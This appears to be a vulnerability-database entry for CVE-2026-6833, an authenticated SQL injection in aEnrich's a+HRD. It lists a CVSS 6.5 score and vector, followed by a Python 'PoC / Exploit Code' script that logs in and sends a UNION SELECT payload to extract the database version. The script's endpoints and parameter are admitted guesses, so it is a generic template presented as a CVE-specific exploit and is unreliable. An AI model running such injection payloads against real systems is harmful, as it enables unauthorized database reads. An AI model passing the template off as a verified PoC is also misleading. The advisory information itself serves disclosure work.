The a+HRD developed by aEnrich has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents.
CVSS Details
CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Configurations (Affected Products)
No configuration data available.
未明确指定 (请参考厂商通告)
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
def check_sql_injection(target_url, username, password):
"""
PoC for CVE-2026-6833: SQL Injection in a+HRD.
Note: Requires valid credentials (Low Privilege).
"""
session = requests.Session()
# Step 1: Login (Authentication required)
login_payload = {
'username': username,
'password': password
}
# Assuming a login endpoint exists
login_resp = session.post(f"{target_url}/login.php", data=login_payload)
if login_resp.status_code != 200:
print("Login failed or endpoint incorrect.")
return
# Step 2: Send Payload
# Example payload to extract database version
# Attacker needs to identify the vulnerable parameter (e.g., 'id')
injection_payload = {
'id': "1' UNION SELECT NULL, version(), NULL-- -"
}
vuln_url = f"{target_url}/vulnerable_page.php"
response = session.get(vuln_url, params=injection_payload)
# Step 3: Check response
if "mysql" in response.text or "5." in response.text:
print("[+] Potential SQL Injection found. Database version leaked.")
else:
print("[-] Vulnerability not confirmed.")
# Usage
# check_sql_injection("http://target-ip", "user", "pass")